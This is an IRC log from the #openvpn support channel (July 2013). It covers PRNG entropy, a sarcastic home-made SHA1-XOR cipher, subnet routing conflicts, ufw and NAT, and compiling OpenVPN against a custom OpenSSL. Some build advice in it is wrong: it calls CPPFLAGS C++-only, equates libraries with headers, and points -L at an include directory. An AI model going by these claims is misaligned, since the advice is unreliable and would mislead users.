15:21 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
15:21 <+pekster> The problem is that it's *highly* predictable
15:21 < kisom> OK, I'll watch the talk.
15:23 <@krzee> kisom, you perfectly demonstrated the assumptions that led to them giving the talk
15:23 <+pekster> If all we needed to do was hash it, /dev/random and /dev/urandom wouldn't be needed; we'd just use urandom that re-hashes old entropy. The fact is this is pattently *not* acceptable for cryptographic operations, while it may be perfectly acceptable to seed your minecraft world or w/e
15:23 <@krzee> you'll enjoy the talk like we did :)
15:23 < kisom> Fair enough, watching right now
15:23 < kisom> We'll see if they can convince me ;)
15:24 <@krzee> if that group cant convince you, then you believe in your idea as if it were religion
15:24 <@krzee> :D
15:24 <@krzee> cause nobody can claim they are less than elite
15:24 <+pekster> (they've got some cool python-based sources too that demonstrate the math behind their work, so it's not just hocus-pocus math)
15:24 <+pekster> If you're into that kind of thing
15:25 < kisom> OK, the way I was taught cryptagraphy is that if you can predict a hash algorithm, then it is broken.
15:25 <@krzee> and they even have some fun!
15:25 <@krzee> (unfucking the duck!)
15:25 < phantomcircuit> error=certificate is not yet valid
15:25  * phantomcircuit waits until 38
15:25  * phantomcircuit swears about ntpd
15:25 <@krzee> kisom, entropy is very very important? with predictable entropy nothing will save ya
15:25 <@krzee> (with rsa)
15:25 <+pekster> for random values of d, hash(d) is unpredictable. It's when d is predictable (such as when the linux kernel PRNG uses system time (at a known value on embedded hardware that lack an RTC) and interupts (also well-known) that you have an issue
15:26 <+pekster> So instead of a "256-bit random value" for d, it's substantially reduced, to the point where brute-forcing the number of possible values is trivial
15:26 < phantomcircuit> pekster, which is why VIA embedded systems have a true rng
15:27 < jzaw> apparently alix 2dX also :)
15:27 <+pekster> Yes, systems that suck in analog data or otherwise have a proven (openly-developped, ideally) model are superior
15:27 <+pekster> Assuming the software uses it, of course
15:28 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
15:28 <+pekster> Anyway, be safe, don't 'roll your own' crypto unless you truely know what you're doing ;). And don't drink and derrive
15:29 < phantomcircuit> that's the primary advantage of via's solution, it's largely already builtin to the kernel and openssl
15:29 < phantomcircuit> so most software packages end up benefiting without additional effort
15:31 < kisom> I rolled my own crypto!
15:31 < kisom> Basically it's sha1 with a key and counter xored with the plain text
15:31 < kisom> I don't see how it could fail
15:31 < rob0> ROT13
15:31 < kisom> Maybe I should add it on top
15:31 < kisom> Need to base21 it first...
15:36 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
15:40 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:45 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
15:51 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
15:53 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
15:58 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has joined #openvpn
15:59 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
16:06 < Wheelz> Hello! Need some help if possible. I am trying to compile OpenVPN 2.3.2 on CentOS 6.4 x64 with a compiled version of OpenSSL 1.0.1e amd LZO 2.06. Instructions I have found say to use switches on ./configure to specify the paths to the newer compiled applications, but ./configure give me a error the the switches are not recognized. The switches are --with-ssl-headers=/usr --with-ssl-lib=/usr
16:06 < Wheelz> --with-lzo-headers=/usr --with-lzo-lib=/usr. How can I specify the paths?
16:08 -!- speed_racer84 [~speed_rac@h82.180.213.151.dynamic.ip.windstream.net] has quit [Ping timeout: 248 seconds]
16:11 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
16:20 -!- Denial [Denial@90.202.26.221] has quit []
16:29 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has quit []
16:30 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has joined #openvpn
16:31 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
17:02 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:12 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
17:12 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Ping timeout: 240 seconds]
17:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
17:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
17:38 -!- johanbr [~johanbr@vps.nullinfinity.org] has joined #openvpn
17:38 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
17:40 -!- ichtys [~midacts@207.59.77.254] has joined #openvpn
17:40 < johanbr> Hi. I have an openvpn server on my LAN but it seems like a recent package update has changed its behaviour. The moment I see "/usr/bin/ip route add 192.168.1.0/24 via 10.8.0.2" on the console, my ssh connection to the server drops and it becomes entirely unreachable. The server runs arch linux, and openvpn version 2.3.2.
17:41 < johanbr> Did anything routing-related change in openvpn?
17:42 < johanbr> routing table while openvpn is running (with server unreachable): http://fpaste.org/26050/
17:44 -!- rob0__ [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
17:45 -!- zampa_ [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has joined #openvpn
17:45 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Disconnected by services]
17:45 -!- rob0__ is now known as rob0
17:47 -!- jareth_ [~jareth_@bak.project-treadstone.nl] has quit [Ping timeout: 240 seconds]
17:47 -!- midacts [~midacts@207.59.77.254] has quit [Ping timeout: 240 seconds]
17:47 -!- dosequis [~phil@modemcable174.227-70-69.static.videotron.ca] has quit [Ping timeout: 240 seconds]
17:47 -!- zampa [zampa@c-eb2570d5.012-55-6c756c10.cust.bredbandsbolaget.se] has quit [Ping timeout: 240 seconds]
17:48 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
17:48 < johanbr> Commenting out a route directive seemed to fix it, but I wonder why it used to work...
17:49 <@krzee> you are trying to route 192.168.1.0  over a vpn while you are already using 192.168.1.0/24 for your lan
17:49 <@krzee> it probably worked when you were on a different lan
17:50 <@krzee> now that you conflict, you get issues
17:50 -!- PoppySeedPlehzr [~nanderson@69.146.233.50] has quit [Quit: Leaving]
17:50 -!- dosequis [~phil@modemcable174.227-70-69.static.videotron.ca] has joined #openvpn
17:50 < johanbr> krzee: that sounds reasonable, except that I haven't changed anything in the LAN addressing
17:50 <@krzee> oh unless that is the server
17:50 < johanbr> yep, that's the server
17:50 <@krzee> in which case you can NOT route your lan over the vpn
17:51 <@krzee> you push push the lan to clients
17:51 <@krzee> but --route changes the local routing table
17:51 <@krzee> you told openvpn that you wanted to access 192.168.0.0/24 over the vpn
17:52 <@krzee> which would be ok if it was a client (which is not on its own lan at 192.168.0.0/24)
17:52 < johanbr> makes eminent sense
17:52 <@krzee> if you want to share the server lan, you should change the lan subnet
17:52 <@krzee> make it something uncommon
17:52 <@krzee> because clients will end up on routers that use 192.168.0.0/24
17:52 < johanbr> but the weird thing is that it worked last week, and the only change on the server is an openvpn update
17:52 <@krzee> i dunno? it shouldnt have
17:53 < johanbr> oh well, at least I know that config is not supposed to work :)
17:54 < johanbr> thank you!
17:54 <@krzee> no problem =]
17:54 <@krzee> !samesubnet
17:54 <@vpnHelper> "samesubnet" is (#1) clients can not connect to a server pushing its lan if on the same subnet. you can only reach your subnet on layer2 or through your gateway, when you create a route for it you will try to reach your gateway over the vpn which dies because you cant reach your gateway or (#2) you can use --client-nat if on 2.3 to work around changing the subnet, but you should still just change the
17:54 <@vpnHelper> subnet
17:54 <@krzee> that applied to you ^
17:55 <@krzee> well, kinda
17:56 -!- VsioZashibis [~VsioZashi@ool-4352bfe2.dyn.optonline.net] has joined #openvpn
17:56 < VsioZashibis> hi guys. A few months ago I installed VPN server on debian and have been using it just fine for my needs
17:56 < VsioZashibis> however. when I turn the firewall on on the server, I can't connect anymore
17:57 < VsioZashibis> what are the ports that need to be open on the firewall ?
17:57 <@krzee> whatever port you run your vpn on
17:57 <@krzee> anything else, it depends on your needs
17:57 <@krzee> (maybe need to allow ip forwarding on tun+ or other stuff)
17:58 < VsioZashibis> hmm
17:59 <@krzee> see your config? it prolly says port #
17:59 <@krzee> if it does not say "port" anywhere in the config, it is 1194 udp
18:00 <@krzee> err i mean 1194, and if it does not say proto it is udp
18:00 <@krzee> but most people specify that in the configs regardless
18:01 < VsioZashibis> krzee: yeah I have port and proto udp
18:02 <@krzee> there ya go
18:02 < Wheelz> Is your Debian installation using iptables? you may need to create an allow rule for port 1194.
18:05 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-uwsbidjneplljcye] has quit [Ping timeout: 248 seconds]
18:05 -!- sitaktif [~sitaktif@kollok.org] has quit [Ping timeout: 246 seconds]
18:06 < VsioZashibis> Wheelz: yes Debian has iptables
18:06 -!- zu [~zu@ks387228.kimsufi.com] has quit [Ping timeout: 264 seconds]
18:06 < VsioZashibis> Wheelz: but when I turn on UFW then vpn stops working
18:06 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has quit [Read error: Operation timed out]
18:06 <@krzee> then configure it to allow
18:06 <@krzee> you know the port/proto now
18:06 -!- kirin` [telex@gateway/shell/anapnea.net/x-fyhcquavgspqpmlm] has quit [Ping timeout: 264 seconds]
18:07 < VsioZashibis> i followed a vpn installtion guide which has many iptables rules
18:07 <@krzee> !walkthrough
18:07 <@vpnHelper> "walkthrough" is if you are using some walkthrough and now you are here cause you have problems and dont understand your setup, type !howto and !man and try to actually learn what you're doing. most those docs about openvpn from google SUCK.
18:08 -!- RealRancor [~Rancor@prielwurmjaeger.de] has quit [Ping timeout: 246 seconds]
18:09 < Wheelz> if you type in: ufw status
18:09 < Wheelz> what does it show?
18:09 -!- NChief_ [~nchief@unaffiliated/nchief] has quit [Ping timeout: 264 seconds]
18:09 -!- ele_ [~maarten@pinky.elexer.com] has quit [Ping timeout: 264 seconds]
18:10 < VsioZashibis> ufw status Status: inactive
18:11 < Wheelz> with your server showing this status, are you able to make a conection to openvpn?
18:11 < VsioZashibis> Wheelz: yup
18:11 < VsioZashibis> I just enabled ufw
18:11 < Wheelz> try ufw status again...it should show what rules are in place.
18:12 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-rhbjprneqmwzaxzy] has joined #openvpn
18:12 -!- RealRancor [~Rancor@prielwurmjaeger.de] has joined #openvpn
18:13 < VsioZashibis> Wheelz: http://fpaste.org/26061/13741028/
18:14 < VsioZashibis> 1337 is the vpn port )
18:15 -!- Sorcier_FXK [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
18:15 < Wheelz> is that the same port number in your server and client config files?
18:15 < VsioZashibis> Wheelz: yep
18:16 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
18:16 -!- ele_ [~maarten@91.121.139.214] has joined #openvpn
18:17 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
18:19 < VsioZashibis> okay
18:19 < VsioZashibis> i just connected with firewall on
18:19 -!- kirin` [telex@gateway/shell/anapnea.net/x-xenbdycappnzmirm] has joined #openvpn
18:20 < VsioZashibis> I can't open any website using a web browser, but I am still conneted to irc
18:20 <@krzee> then its your nat or ip forwarding
18:20 <@krzee> !notovpn
18:20 <@vpnHelper> "notovpn" is (#1) "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem or (#2) sorry, but we dont care. this channel is only for help with openvpn.
18:21 < VsioZashibis> krzee: all nat and ip forwarding rules are set up in iptables. So when I turn on UFW those rules are now blocked by ufw
18:22 <@krzee> i dunno ufw
18:23 <@krzee> the only thing i know about it is that its not openvpn :D
18:23 <@krzee> if it were pf ild help, iptables and i would attempt to help, but i havnt even heard of ufw
18:24 < Wheelz> ufw basically does a iptables-restore when enabled and restores iptables with its own file. You may need to go through ufw documentation as I dont have much expirience with it.
18:24 <@krzee> then why bother with it?
18:24 <@krzee> just configure your iptables correctly
18:25 <@krzee> its just an iptables configurer!?
18:25 < Wheelz> basically
18:25 < VsioZashibis> well
18:25 <@krzee> heh
18:25 < VsioZashibis> I am not very familiar with iptables
18:25 <@krzee> can we make a tool to configure ufw too?
18:25 < VsioZashibis> I think all ports are open
18:25 <@krzee> then maybe a tool to configure that?
18:25 < VsioZashibis> I installed apache and I can access it
18:26 < Wheelz> OK so traffic is going through the tunnel.
18:26 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-rhbjprneqmwzaxzy] has quit [Ping timeout: 248 seconds]
18:26 <@krzee> http://xkcd.com/378/    <--- thats how i configure my firewall
18:26 <@vpnHelper> Title: xkcd: Real Programmers (at xkcd.com)
18:26 -!- nohitall [nohitall@gateway/shell/anapnea.net/x-vyyrlabxsaiydvgz] has joined #openvpn
18:26 < Wheelz> run this command and tell us the result....: sysctl net.ipv4.ip_forward
18:26 -!- NChief [~nchief@unaffiliated/nchief] has quit [Ping timeout: 276 seconds]
18:26 < VsioZashibis> net.ipv4.ip_forward = 1
18:27 <@krzee> of course ip forwarding is on
18:27 <@krzee> he said it works til he enables ufw
18:27 <@krzee> his ip forwarding problem would be in his ufw config
18:27 <@krzee> (or nat problem)
18:27 < VsioZashibis> yeah its definetly ufw
18:27 < Wheelz> agreed
18:27 < VsioZashibis> ufw is very easy to use
18:27 -!- NChief [~nchief@unaffiliated/nchief] has joined #openvpn
18:27 <@krzee> but even before that theres another problem
18:27 <@krzee> you're trying to get help on ufw in #openvpn
18:27 <@krzee> :-p
18:28 < VsioZashibis> oh please don't start
18:28 <@krzee> over 1000 people in #linux
18:28 <@krzee> i bet with a higher *percentage* of people who know ufw
18:29 < VsioZashibis> if only I knew what rule exactly to add
18:29 <@krzee> once they know it works without ufw but not with, they rule out everything openvpn related and can help you with your real problem
18:29 <@krzee> (kinda like i did)
18:30 < VsioZashibis> these are my install notes for OPENVPN from a few months back.
18:30 < VsioZashibis> http://fpaste.org/26067/37410381/
18:30 < Wheelz> Check this is out and see if it helps: http://stephen.rees-carter.net/2012/09/how-to-enable-ip-forwarding-with-ufw/
18:30 < VsioZashibis> it has everything
18:31 <@krzee> your iptables notes need to be translated to ufw
18:31 <@krzee> since you decided you dont wanna use your iptables config
18:31 <@krzee> your 2 rules were correct in iptables, just do it in your ufw and you should be done
18:31 <@krzee> or start ufw and add those 2 rules after
18:31 <@krzee> maybe that'll work, i dunno
18:32 <@krzee> (since i have no clue what ufw is since you're in the wrong place)
18:33 < VsioZashibis> ufw uses iptables
18:34 <@krzee> right
18:34 <@krzee> but it changes the rules on you
18:34 < VsioZashibis> its just has a very easy way of managing basic firewall rules
18:34 <@krzee> change the nat rule to -I instead of -A
18:34 <@krzee> then run those 2 rules after starting ufw, or go learn ufw if you want to use it, and port those 2 rules to its config
18:35 <@krzee> in fact, heres my advice
18:35 <@krzee> dont use ufw until you are willing to learn how it works
18:36 <@krzee> :D
18:36 < VsioZashibis> this is the most useful advice
18:36 < VsioZashibis> )
18:36 < VsioZashibis> I totally agree
18:39 <@krzee> or you could click on wheelz' link
18:39 <@krzee> since its 100% your issue
18:39 <@krzee> lol
18:39 < VsioZashibis> i know right lol
18:39 < VsioZashibis> )))
18:39 <@krzee> Wheelz++
18:39 < Wheelz> :)
18:39 < VsioZashibis> I'll try it now
18:44 -!- gimme_bottles [~gimme_bot@p4FE0C82C.dip0.t-ipconnect.de] has joined #openvpn
18:46 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-hjufjlpsudqlboel] has quit [Excess Flood]
18:46 -!- master_o1_master [~master_of@p4FF24C2F.dip0.t-ipconnect.de] has joined #openvpn
18:47 -!- master_of_master [~master_of@p4FF24C41.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
18:48 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-qqlmwtgvgbgiiaer] has joined #openvpn
18:50 -!- gimme_bottles [~gimme_bot@p4FE0C82C.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
18:54 < VsioZashibis> heh
18:54 < VsioZashibis> guess what
18:54 < VsioZashibis> its working now )
18:54 < Wheelz> sweet!
18:54 < VsioZashibis> thanks guys
18:54 < Wheelz> no problem
19:05 -!- Wheelz [~Wheelz@209-253-157-229.ip.mcleodusa.net] has quit [Ping timeout: 246 seconds]
19:15 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 256 seconds]
19:18 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-qqlmwtgvgbgiiaer] has quit [Excess Flood]
19:19 -!- mattock_afk [~mattock@raidz.im] has joined #openvpn
19:19 -!- mattock_afk is now known as mattock
19:19 -!- mattock [~mattock@raidz.im] has quit [Changing host]
19:19 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
19:19 -!- mode/#openvpn [+o mattock] by ChanServ
19:20 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-wturdctciyammuoh] has joined #openvpn
19:24 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
19:25 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
19:36 -!- raidz is now known as raidz_away
19:38 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 245 seconds]
19:38 -!- Wheelz [~Wheelz@rrcs-97-77-149-144.sw.biz.rr.com] has joined #openvpn
19:45 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
19:45 -!- gimme_bottles [~gimme_bot@p4FE0C82C.dip0.t-ipconnect.de] has joined #openvpn
19:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
19:49 < gimme_bottles> i am having a problem, i am trying to describe it as good as possible: my client, thats behind a router, is connected to a vpn (privateinternetaccess.com). the vpn works flawlessly. now the special part: i forwarded some ports from my router to the client running the vpn to access it from outside my network. with the vpn not running, these port forwardings work and i can reach my computer from outside my network. but when a vpn co
19:49 < gimme_bottles> nnection is established, i can't reach my computer from outside anymore. i guess openvpn is blocking everything that is not vpn, so i need to disable that. i am running arch linux.
19:50 <+pekster> You need policy routing to prevent the outbound reply from being caught by the two /1 routes --redirect-gateway sets up
19:50 <+pekster> LARTC has a nice primer to policy routing including all the fundamental concepts you need; beyond using openvpn to redirect traffic, this has almost nothing to do with openvpn
19:54 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
19:59 -!- tharkun [~0@187.188.166.5] has joined #openvpn
20:02 -!- HyperGli_ [~HyperGlid@110.188.49.188] has quit [Remote host closed the connection]
20:03 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
20:04 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 264 seconds]
20:09 -!- tharkun [~0@187.188.166.5] has joined #openvpn
20:13 < gimme_bottles> ok, so the ip routes openvpn sets up redirect all traffic through the vpn. i would need to route connections that were made from outside my network to my computer via my network card (instead of the tunnel) back to my router. i don't get how to tell iproute to do that, since the rules seem to be static.
20:16 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
20:32 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
20:36 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
20:36 -!- tharkun [~0@187.188.166.5] has joined #openvpn
20:37 -!- gimme_bottles [~gimme_bot@p4FE0C82C.dip0.t-ipconnect.de] has quit [Quit: Verlassend]
20:40 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
20:46 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
20:47 <+EugeneKay> You need to use `ip rule` for that, with split routing tables.
20:47 <+EugeneKay> This is what pekster said above
21:03 <+pekster> And we have another person who gets a reference to read, apparently doesn't read it, and quits. Fun.
21:30 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
21:33 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 248 seconds]
21:33 -!- michaelhart_ is now known as michaelhart
21:39 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
21:44 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Quit: michaelhart]
21:54 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
21:55 -!- Muffins [~Nicholas@host-98-127-85-158.lar-wy.client.bresnan.net] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:05 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:20 -!- Muffins [~Nicholas@host-98-127-85-158.lar-wy.client.bresnan.net] has quit [Quit: Leaving]
22:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
22:25 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
22:31 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
22:32 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
22:33 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Client Quit]
22:33 -!- zeshoem [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Remote host closed the connection]
22:33 -!- Xgates [~Xgates@unaffiliated/xgates] has joined #openvpn
22:33 < Xgates> Hi guys
22:34 < Xgates> I just use OpenVPN as a client on my computer from the command line in Linux and wanted to know what is the openvpn-plugin.h and if I need this?
22:35 < Xgates> I'm compiling 2.3.2 and it didn't seem like something I needed and was going to use; --disable-plugins
22:37 <+pekster> What does it matter; even if you don't need it, the resulting build won't contain code paths you omit like that
22:38 < Xgates> thanks pekster I've been compiling long enough to know that... :)  I just would like to know what it's for?
22:38 <+pekster> It's a 28k file, so it's not like you even save any real disk space by "removing" it or w/e your trying to do
22:38 <+pekster> Yea, it's a header used by plugins
22:38 <+pekster> Removing it may or may not confuse dependency checking though
22:39 < Xgates> well I'm not using the plugin-down-root either
22:39 <+pekster> You can do a `grep -nR openvpn-plugin.h *` to find out what referenes it
22:39 < Xgates> that's the only plugin I see being built in 2.3.2
22:41 < Xgates> oh and I disabled pam too, pam and this root are all that are being built...
22:42 -!- VsioZashibis [~VsioZashi@ool-4352bfe2.dyn.optonline.net] has quit [Quit: closing IRC]
22:44 < Wheelz> I have a compiling questions as well. I am trying to run ./configure --with-ssl-headers=blah --with-ssl-lib=blah and I get an error message saying they are unrecognized options. Is there another way to specify these paths?
22:44 < Xgates> grep -nR openvpn-plugin.h returns nothing
22:44 <+pekster> Xgates: Then you're either not in the openvpn source directory, or forgot the search term
22:45 <+pekster> (the target to search)
22:45 < Xgates> I'm in /usr/include and I ran; grep -nR openvpn-plugin.h
22:45 <+pekster> That's not what I wrote
22:45 <+pekster> read harder
22:45 < Xgates> my bad :(
22:45 < Xgates> thx
22:46 < Xgates> for Wheelz's question why would he need to use any ssl options unless ssl was put in an unusal place?
22:46 < Xgates> I'm assuming it's going to pick all that up by default...
22:46 <+pekster> One wouldn't; sometimes headers are in unusual places, or builds are performed with testing versions
22:47 < Wheelz> I am using CentOS and cannnot replace the exisitng openssl version. I compiled the latest version and want to use those headers and libs for my openvpn compile
22:47 < Xgates> yeah I guess I just meant in the usual sense...
22:48 < Xgates> well the cmd still returns nothing
22:48 <+pekster> Then you're not in the write place
22:49 < Xgates> it's in /usr/include and I'm running it in that /path
22:49 <+pekster> That file is part of the source release of openvpn
22:50 <+pekster> When you talked about building I assumed that's where you were
22:50 <+pekster> In theory you could remove it, but it's there so things that link against it can reference it when they're compiled, possibly outside openvpn's build process
22:51 < Wheelz> Xgates, you want to look in the tarbell you unzipped. e.g. /openvpn-2.3.2/include
22:51 < Xgates> ok in the source it just gives; plugin.h:38:#include "openvpn-plugin.h"
22:52 < Xgates> hey since when do you unzip a tar? LOL
22:52 < Xgates> :)
22:52 < Wheelz> well you get the idea lol
22:52 < Xgates> :P
22:52 < Xgates> so I have no clue what that output shows...
22:52 <+pekster> Xgates: http://fpaste.org/26103/11955113/
22:52 <+pekster> Again, I'm in the *top* level source directory
22:53 <+pekster> openvpn-plugin.h is referneced all across the codebase
22:54 <+pekster> Basically just the plugins actually need it, but it's referenced in the makefile and dep-tracking systemes too
22:55 < Xgates> I ran the cmd in the top directory like you did, and it didn't give me the same output, hmm
22:56 < Xgates> yes I was assuming this is only for the plugins, hence I don't need...
22:56 < Xgates> THANKS pekster
22:56 <+pekster> Seeing as how the changelog mentions that file, you clearly did something not like I did
22:58 < Xgates> did something, what?
22:58 < Xgates> you lost me...
22:59 <+pekster> Basic files in the source relase of openvpn contain the string "openvpn-plugin.h" -- this it stands to reason you did something incorrectly to get "no output" at all
22:59 <+pekster> thus*
22:59  * pekster shrugs
23:00 < Xgates> ahh ok
23:01 < Wheelz> pekster, can you shed some light to my question?
23:02 <+pekster> Wheelz: Sounds like you want LDFLAGS
23:02 <+pekster> I have no clue where you got those flags to --configure, but they're not listed in output from `./configure --help`
23:03 < Wheelz> I have seen them referenced in many sites that deal with compiling openvpn. Maybe they are no longer used.
23:04 < Wheelz> how do i use the LDFLAGS if you dont mind schooling a novice. :)
23:04 < Xgates> on the client side, connecting to an OpenVPN server, does client need PKCS ♯11 for anything?
23:04 <+pekster> I'd start by reading the ./configure output on the flag and asking a more targeted quetion
23:04 <+pekster> Xgates: If you plan to use PKCS11 smartcards, yes
23:05 <+pekster> Surely wikipedia has info on pkcs11
23:05 < Xgates> no, ok thanks
23:05 < Xgates> yeah been reading on it
23:06 <+pekster> Wheelz: Ah, okay, < 2.3.0, that flag was accepted; it's no longer used in 2.3
23:07 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
23:11 < Wheelz> Thought so. So ./configure CPPFLAGS=-I/usr/local/include LDFLAGS=-L/usr/local/lib would do
23:11 < Wheelz> the trick.
23:12 <+pekster> No need for CPPFLAGS since openvpn has no C++ code
23:12 < Xgates> hmm strange --disable-plugins and it still places it in the built tar package...
23:12 < Wheelz> OK. Thanks!
23:13 < Xgates> btw on the client side using OpenVPN is there anything important in the way of the changes or fixes, etc, between 2.2.2 & 2.3.2?
23:14 < Xgates> My distro uses 2.2.2 and I thought to compile 2.3.2 but if I'm only using it as a client, wondering if 2.2.2 is sufficent enough?
23:14 <+pekster> IPv6 support and a handful of other changes (see the changelog)
23:14 < Xgates> yes I read the changelog, not sure I saw anything that warrants an update for a client is all
23:15 <+pekster> Not unless you need some of the new features
23:15 < Xgates> Server side yes...
23:15 <+pekster> Or fixes
23:15 < Xgates> dont need features, just need security and stability :)
23:15 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
23:18 < Xgates> I guess the developers need to go back and make sure it's removed with that option...
23:18 < Xgates> I'll just hand remove it...
23:18 < Wheelz> OK so I can use LDFLAGS for the lib files, what do I use for headers?
23:19 <+pekster> libraries == headers
23:19 <+pekster> #include my-header.h
23:21 < Wheelz> OK. I'm just trying to translate the --with-ssl-headers and --with-ssl-lib to LDFLAGS...
23:21 <+pekster> The current ./configure output makes some references to OPENSSL_SSL_LIBS as well, although I'm not clear offhand how those work
23:22 <+pekster> Try simply LDFLAGS="/usr/local/include" or wherever you've placed your own headers
23:22 < Wheelz> OK. Thanks!
23:23 <+pekster> Erm, -L/usr/local/include
23:27 < Xgates> Thanks again pekster
23:27 < Xgates> later guys
23:27 -!- Xgates [~Xgates@unaffiliated/xgates] has quit [Quit: Xgates]
23:28 <+pekster> Wheelz: http://gcc.gnu.org/onlinedocs/gcc-4.6.4/gcc/Directory-Options.html#Directory-Options
23:28 <@vpnHelper> Title: Directory Options - Using the GNU Compiler Collection (GCC) (at gcc.gnu.org)
23:29 <+pekster> -I might be useful in your case
23:35 < Wheelz> OK
23:36 <+pekster> http://gcc.gnu.org/onlinedocs/gcc-4.6.4/gcc/Environment-Variables.html#Environment-Variables
23:36 <@vpnHelper> Title: Environment Variables - Using the GNU Compiler Collection (GCC) (at gcc.gnu.org)
23:36 <+pekster> Basically the gcc docs are your friends
23:37 <+pekster> LIBRARY_PATH is another useful env-var
--- Day changed Thu Jul 18 2013
00:00 < Dar1us> Wheelz: are you building it on FreeBSD?
00:00 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:49 -!- monk [~aknm@196.14.139.96] has joined #openvpn
00:49 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
00:49 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:58 -!- batrick [batrick@nmap/developer/batrick] has quit [Read error: Operation timed out]
01:00 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
01:02 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
01:05 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
01:30 -!- suprMan` [~clark_ken@109.161.155.67] has joined #openvpn
01:45 -!- suprMan` [~clark_ken@109.161.155.67] has quit [Ping timeout: 268 seconds]
01:52 < Wheelz> I am building on CentOS.
01:54 < Dar1us> OK, never mind then :)
02:05 -!- Wheelz [~Wheelz@rrcs-97-77-149-144.sw.biz.rr.com] has quit [Ping timeout: 276 seconds]
02:15 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:19 -!- suprMan` [~clark_ken@109.63.110.144] has joined #openvpn
